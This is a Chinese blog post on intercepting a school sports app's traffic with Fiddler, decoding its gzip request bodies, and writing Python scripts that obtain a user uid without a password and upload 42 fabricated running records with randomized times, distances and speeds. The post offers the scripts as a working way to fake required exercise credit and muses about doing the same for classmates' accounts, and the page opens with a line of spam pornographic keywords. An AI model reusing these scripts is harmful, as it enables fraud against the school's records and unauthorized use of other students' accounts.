成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

Fiddler抓包實戰(zhàn)

lolomaco / 1372人閱讀

摘要:抓包是一個蠻好用的抓包工具,可以將網(wǎng)絡(luò)傳輸發(fā)送與接受的數(shù)據(jù)包進(jìn)行截獲重發(fā)編輯轉(zhuǎn)存等操作,也能用于安卓抓包。這里這麼多可能不便于觀察,那這樣的呢響應(yīng)體的內(nèi)容總的來看,我沒有用到密碼,就從一個服務(wù)器里得到了,果然有漏洞。

Fiddler抓包

Fiddler是一個蠻好用的抓包工具,可以將網(wǎng)絡(luò)傳輸發(fā)送與接受的數(shù)據(jù)包進(jìn)行截獲、重發(fā)、編輯、轉(zhuǎn)存等操作,也能用于安卓抓包。
Fiddler有多種版本,我用的是Progress Telerik Fiddler Web Debugger,為了能抓手機(jī)的包,需要一些準(zhǔn)備工作:比如自己的手機(jī)和電腦必須在同一個局域網(wǎng)內(nèi),我選擇的解決辦法是,手機(jī)和電腦統(tǒng)一連接校園網(wǎng),這樣就能保證手機(jī)可以用Fiddler作為代理了,相當(dāng)于手機(jī)和服務(wù)器之間插入了第三者,F(xiàn)iddler能監(jiān)聽到它們之間的一切通信。

那怎樣設(shè)置呢?

首先,我們需要知道自己電腦的IP地址,你可以在命令行輸入ipconfig來查看,或者在Fiddler能直接查看
然后就是手機(jī)上的設(shè)置了,
代理主機(jī)就是我的電腦的ip地址,而代理端口就是Fiddler啟動時候占用的端口,具體哪個端口可以在Fiddler:tool→options→connections中查看,沒有修改過的話默認(rèn)是8888。這時你就能抓到手機(jī)上的http包了,如果還想要抓到https的包,那就需要手機(jī)上安裝證書了,證書下載方式:手機(jī)瀏覽器輸入以下地址:電腦ip:8888,

手機(jī)下載安裝即可。
好了,現(xiàn)在可以抓到http包了,現(xiàn)在就打開學(xué)校體育軟件,看看它都做了什么事吧。
Fiddler已經(jīng)抓了很多包了,ctrl+x清空全部,瞬間干凈許多。


我現(xiàn)在想要的是在上傳我的跑步記錄時候做了哪些事情,先要有一段跑步記錄,所以還是得小跑一段,不過要是你實在不愿意出門,可以下載一款定位模擬軟件。

從打開到軟件到我上傳記錄捕獲的包如下所示:
開心,很清晰就找到我們要的接口/Api/webserver/uploadRunData,但是要分析這個http包還有點困難,如圖所示,出現(xiàn)亂碼,但是響應(yīng)消息很清晰:一個json字符串,m=707486,r=1,請記住這個格式的數(shù)據(jù)。
所以現(xiàn)在又有一個難題擺在面前,雖然接口和請求頭我們看的明白,但是發(fā)過去的數(shù)據(jù)我們看不了。
但是可以看到Accept-Encoding是采用gzip壓縮的,所以我們把這段亂碼數(shù)據(jù)還原就有了思路。幸好我之前寫過解壓的代碼:如下所示:

public static void main(String[] args) {        byte[] arrOutput = { (byte) 0x1F, (byte) 0x8B, (byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0D, (byte) 0xC8, (byte) 0x31, (byte) 0x0E, (byte) 0xC3, (byte) 0x30, (byte) 0x08, (byte) 0x00, (byte) 0xC0, (byte) 0xCF, (byte) 0x54, (byte) 0x62, (byte) 0xA9, (byte) 0x25, (byte) 0x30, (byte) 0x18, (byte) 0x9B, (byte) 0xFE, (byte) 0x86 };        System.out.println(new String(uncompress(arrOutput)));    }    public static byte[] uncompress(byte[] bytes) {        if (bytes == null || bytes.length == 0) {            return null;        }        ByteArrayOutputStream out = new ByteArrayOutputStream();        ByteArrayInputStream in = new ByteArrayInputStream(bytes);        try {            GZIPInputStream ungzip = new GZIPInputStream(in);            byte[] buffer = new byte[256];            int n;            while ((n = ungzip.read(buffer)) >= 0) {                out.write(buffer, 0, n);            }        } catch (Exception e) {            e.printStackTrace();        }        return out.toByteArray();    }

arrOutput 變量是我在Fiddler切換到HexView查看方式下,復(fù)制得到的,如圖:

但是粘貼也就是 0x1F,0x8B,直接黏貼上去,idea會報錯,我們必須強(qiáng)轉(zhuǎn)為byte類型,但是16進(jìn)制數(shù)太多,一個個黏貼太麻煩,我就直接ctrl+r,替換0x為(byte) 0x,Replace all(小技巧)。
控制臺查看我們得到的數(shù)據(jù)如下:

{"begintime":"1636199707","endtime":"1636200772","uid":"717d7480-28f6-4b1a-a58b-3830e1db41eb95ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43","schoolno":"xxxxx","distance":"3010.0","speed":"2.8289473684210527","studentno":"xxxxxxxxxxxxx","atttype":"3","eventno":"801","location":"","pointstatus":"1","usetime":"1064.0"}

這里schoolno和studentno就不展示了,還有l(wèi)ocation太長了,我就去掉了,但是不影響我們繼續(xù)分析流程,location這個字段,在我后面研究過程中發(fā)現(xiàn)后端并沒有做校驗,它具體記錄的值是我們某個時間點所處的位置。然后我只修改了begintime和endtime發(fā)現(xiàn)居然提交成功了,在學(xué)校體育管理界面查到兩條數(shù)據(jù),僅僅時間不同,距離和速度一模一樣,Ohhhhhhhhhhh。

但是,這還不算完?。。。?,你們看到后面就會發(fā)現(xiàn)學(xué)校體育后端的傻逼之處了
仔細(xì)看這些參數(shù),begintime,endtime,schoolno,distance,speed,studentno,atttype,eventno,location,pointstatus,usetime還有uid。begintime,endtime,distance,speed,studentno,location,usetime我們都是可以偽造的,schoolno,atttype,eventno,pointstatus不變,猜測atttype,eventno,pointstatus三個參數(shù)是表示選擇的跑步類型的參數(shù),不用管,我們刷公里數(shù)只用校內(nèi)定向跑。
最后還有一個參數(shù)uid,這是一個加密過的數(shù)據(jù),每個用戶只對應(yīng)一個,上傳的時候如果學(xué)號和uid對應(yīng)不上,就會上傳不成功。這里其實我們已經(jīng)捕獲到自己的uid了,那我要是拿到其他同學(xué)的uid,那我豈不是可以幫其他人跑了,我最喜歡助人為樂了,抱著這種想法,我就開始在捕獲的數(shù)據(jù)包里一個一個查詢uid
但是,我在剛剛捕獲的數(shù)據(jù)包里才看第一個,就已經(jīng)發(fā)現(xiàn)了uid了。解壓縮從控制臺發(fā)現(xiàn),這個請求體里就包含學(xué)號和姓名兩個字段:
注意,捕獲這些數(shù)據(jù)包是從我進(jìn)軟件到上傳數(shù)據(jù)的這一段時間的數(shù)據(jù)包,而uid出現(xiàn)在第一個包的請求體里,作為參數(shù),那說明uid早就已經(jīng)在手機(jī)上了,而我忽略了一個重要步驟:“登錄”,所以我決定,退出登錄,重新抓取數(shù)據(jù)。

name=%5B%27bangdingschool%27%2C%27xxxxx%27%2C%27xxxxxxxxxxxxx%27%2C%271ac959ab-249d-4479-9721-5fa2a4916b63%27%2C%27nubia%27%2C%27NX651J%27%2C%27android%27%2C%2711%27%5D

讓我找到了返回uid的請求在這個包里,這個請求里,如圖標(biāo)紅里一模一樣,而其他參數(shù)有schoolno,studentno(我打碼的兩個),我的手機(jī)牌子nubia,手機(jī)型號NX651J,還有一個11,11在后面經(jīng)過驗證是不需要改動的。這里這麼多%xx可能不便于觀察,那這樣的呢?

name=["bangdingschool","xxxxx","xxxxxxxxxxxxx","32adcecb-79b9-4467-b5c0-c3d09b129467","nubia","NX651J","android","11"]

響應(yīng)體的內(nèi)容:

success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,1ac959ab-249d-4479-9721-5fa2a4916b63c39708d2250749a5b9a64f5c775479dc1636278013$2962b0f01be157c24e50f76055c6d9d6,http://xx.xx.xxx.xx/app/index.php

總的來看,我沒有用到密碼,就從一個服務(wù)器里得到了uid,果然有漏洞。而現(xiàn)在我還需要知道32adcecb-79b9-4467-b5c0-c3d09b129467怎么弄到的呢?熟悉java的小伙伴肯定知道。這不就是 java.util.UUID.randomUUID().toString()隨機(jī)生成的嗎?


到這一步,我們已經(jīng)完全把通信過程理解清楚了。接下來就是寫自動跑步的代碼了

第一步,先從java隨機(jī)生成一個UUID

public class UUID {    public static String getUUID(){        return java.util.UUID.randomUUID().toString();    }    public static void main(String[] args) {        System.out.println(getUUID());//236df500-4995-4f79-91f0-c119308abcd3    }}

得到UUID,放進(jìn)http請求體里,

import requestsurl = "http://xxxxxxxxxx.cn:8012/cloud/DflyServer"headers = {    "Content-Type": "application/x-www-form-urlencoded",    "Connection": "Keep-Alive",    "Charset": "UTF-8",    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)",    "Host": "xxxxxxxxxx.cn:8012",    "Accept-Encoding": "gzip",    "Content-Length": "168"}data = "name=["bangdingschool","xxxxx","xxxxxxxxxxxxx","236df500-4995-4f79-91f0-c119308abcd3","nubia","NX651J","android","11"]"res= requests.post(url,headers=headers,data=data)print(res.text)# success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43,http://xx.xx.xxx.xx/app/index.php

有了uid,放進(jìn)最開始分析的http請求里

import requestsimport gzipimport jsonfrom numpy import randomurl = "http://xx.xx.xxx.xxx:8029/DragonFlyServ/Api/webserver/uploadRunData"headers = {    "Content-Type": "application/x-www-form-urlencoded",    "Connection": "Keep-Alive",    "Charset": "UTF-8",    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)",    "Host": "xx.xx.xxx.xxx:8029",    "Accept-Encoding": "gzip",    "Content-Length": "1963"}#一天相差的時間戳86400+-300intervalTime = 0begintime = 1631705429for i in range(1,43):#1-43    begintime = begintime+intervalTime    usetime = random.randint(1064 - 30, 1064 + 30)  # 1064.0    endtime = usetime + 1 + begintime    distance = random.randint(2900, 3100)  # 3010.0    speed = format(distance / usetime, ".16f")  # 2.8289473684210527    intervalTime = random.randint(86400-300,86400+300)    baseData = "{"begintime":"" + str(begintime) + "","endtime":"" + str(endtime) + "","uid":"236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43","schoolno":"xxxxx","distance":"" + format(distance,".1f") + "","speed":"" + speed + "","studentno":"xxxxxxxxxxxxx","atttype":"3","eventno":"801","location":"","pointstatus":"1","usetime":"" + format(usetime,".1f") + ""}"    # print(baseData)    data = gzip.compress(baseData.encode())    res= requests.post(url,headers=headers,data=data)    print(res.text)    #這里打印的是{"r":"1","m":"708027"},不就是我前面要大家記住的json嗎

文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址:http://systransis.cn/yun/122990.html

相關(guān)文章

  • 一文學(xué)會 - Fiddler抓包快速實戰(zhàn)

    摘要:無論對開發(fā)人員或者測試人員來說,都是非常有用的工具。只顯示指定的多個顯示多個相關(guān)的情況下,使用英文分號隔開,見下圖。使用瀏覽器獲取圖片屬性需要注意的是刷新是使用強(qiáng)制刷新,這樣會重新請求資源。 ...

    Imfan 評論0 收藏0
  • 9、web爬蟲講解2—urllib庫爬蟲—實戰(zhàn)爬取搜狗微信公眾號—抓包軟件安裝Fiddler4講解

    摘要:隨后,為了保險,重啟,火狐瀏覽器也重啟一下,然后開始抓的包,此時你會發(fā)現(xiàn)你的連接并不安全等類似提示已經(jīng)消失,并且已經(jīng)能夠抓包了。 【百度云搜索,搜各種資料:http://www.bdyss.com】 【搜網(wǎng)盤,搜各種資料:http://www.swpan.cn】 封裝模塊 #!/usr/bin/env?python #?-*-?coding:?utf-8?-*- import?urll...

    go4it 評論0 收藏0
  • 移動端真機(jī)調(diào)試實戰(zhàn)經(jīng)驗

    摘要:我個人比較推薦的方法是或者安卓手機(jī)的這種方式,比較簡單方便快捷,然后根據(jù)具體的環(huán)境再選擇更為合適的調(diào)試方法。 本文首次發(fā)表于本人的個人博客:http://cherryblog.site/ ,歡迎大家到我的博客查看更多文章~ 前言 在開發(fā)中前端免不了要進(jìn)行移動端的開發(fā),然而在電腦上看的樣式和手機(jī)上還是有一定的差距的,因為手機(jī)上有頂部的狀態(tài)欄和底部的菜單欄,特別是在qq內(nèi)置瀏覽器中打開,差...

    rainyang 評論0 收藏0
  • 如何快速掌握Python數(shù)據(jù)采集與網(wǎng)絡(luò)爬蟲技術(shù)

    摘要:通過本文的學(xué)習(xí),可以快速掌握網(wǎng)絡(luò)爬蟲基礎(chǔ),結(jié)合實戰(zhàn)練習(xí),寫出一些簡單的爬蟲項目。從技術(shù)手段來說,網(wǎng)絡(luò)爬蟲有多種實現(xiàn)方案,如。二網(wǎng)絡(luò)爬蟲技術(shù)基礎(chǔ)在本次課中,將使用技術(shù)手段進(jìn)行項目的編寫。 摘要:本文詳細(xì)講解了python網(wǎng)絡(luò)爬蟲,并介紹抓包分析等技術(shù),實戰(zhàn)訓(xùn)練三個網(wǎng)絡(luò)爬蟲案例,并簡單補(bǔ)充了常見的反爬策略與反爬攻克手段。通過本文的學(xué)習(xí),可以快速掌握網(wǎng)絡(luò)爬蟲基礎(chǔ),結(jié)合實戰(zhàn)練習(xí),寫出一些簡單的...

    W4n9Hu1 評論0 收藏0

發(fā)表評論

0條評論

lolomaco

|高級講師

TA的文章

閱讀更多
最新活動
閱讀需要支付1元查看
<